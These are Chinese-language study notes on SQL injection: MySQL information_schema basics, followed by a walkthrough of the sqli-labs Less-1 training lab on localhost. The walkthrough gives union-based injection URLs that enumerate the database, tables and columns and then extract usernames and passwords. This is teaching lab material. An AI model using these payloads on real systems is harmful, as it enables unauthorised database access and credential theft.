sql注入
group_concat(str1,str2,…)——连接一个组的所有字符串,并以逗号分隔每一条数据。
mysql中的information_schema 结构用来存储数据库系统信息information_schema 结构中这几个表存储的信息。
database()——数据库名。
可以选择一个数据库名来进行查询
如:security
查询语句:use security;
查询这个数据库里有那些表:show tables;
选择一个emails表查询他的结构:desc emails;
下面可以看一个sqli-labs-master/Less-1题
题目要求:请输入带有数字值的id作为参数
基本字段:
schema_name,表示数据库名称;
table_name,表示表的名称 ;
column_name,表示字段名 ;
可以先尝试:
http://127.0.0.1/sqli-labs-master/Less-1/?id=1
http://127.0.0.1/sqllib/Less-5/?id=1'
http://127.0.0.1/sqli-labs-master/Less-1/?id=1'%23
回显正常
此时用order by判断列数,从1开始试,发现到4的时候报错
所以有三列,之后联合注入
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,3%23
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,database() %23
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'union select1,group_concat(table_name),3 from information_schema.tables where table_schema='security' %23
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1%27union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=%27users%27%20%23
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1%27union%20select%201,username,password%20from%20users%20where%20id=2%20%23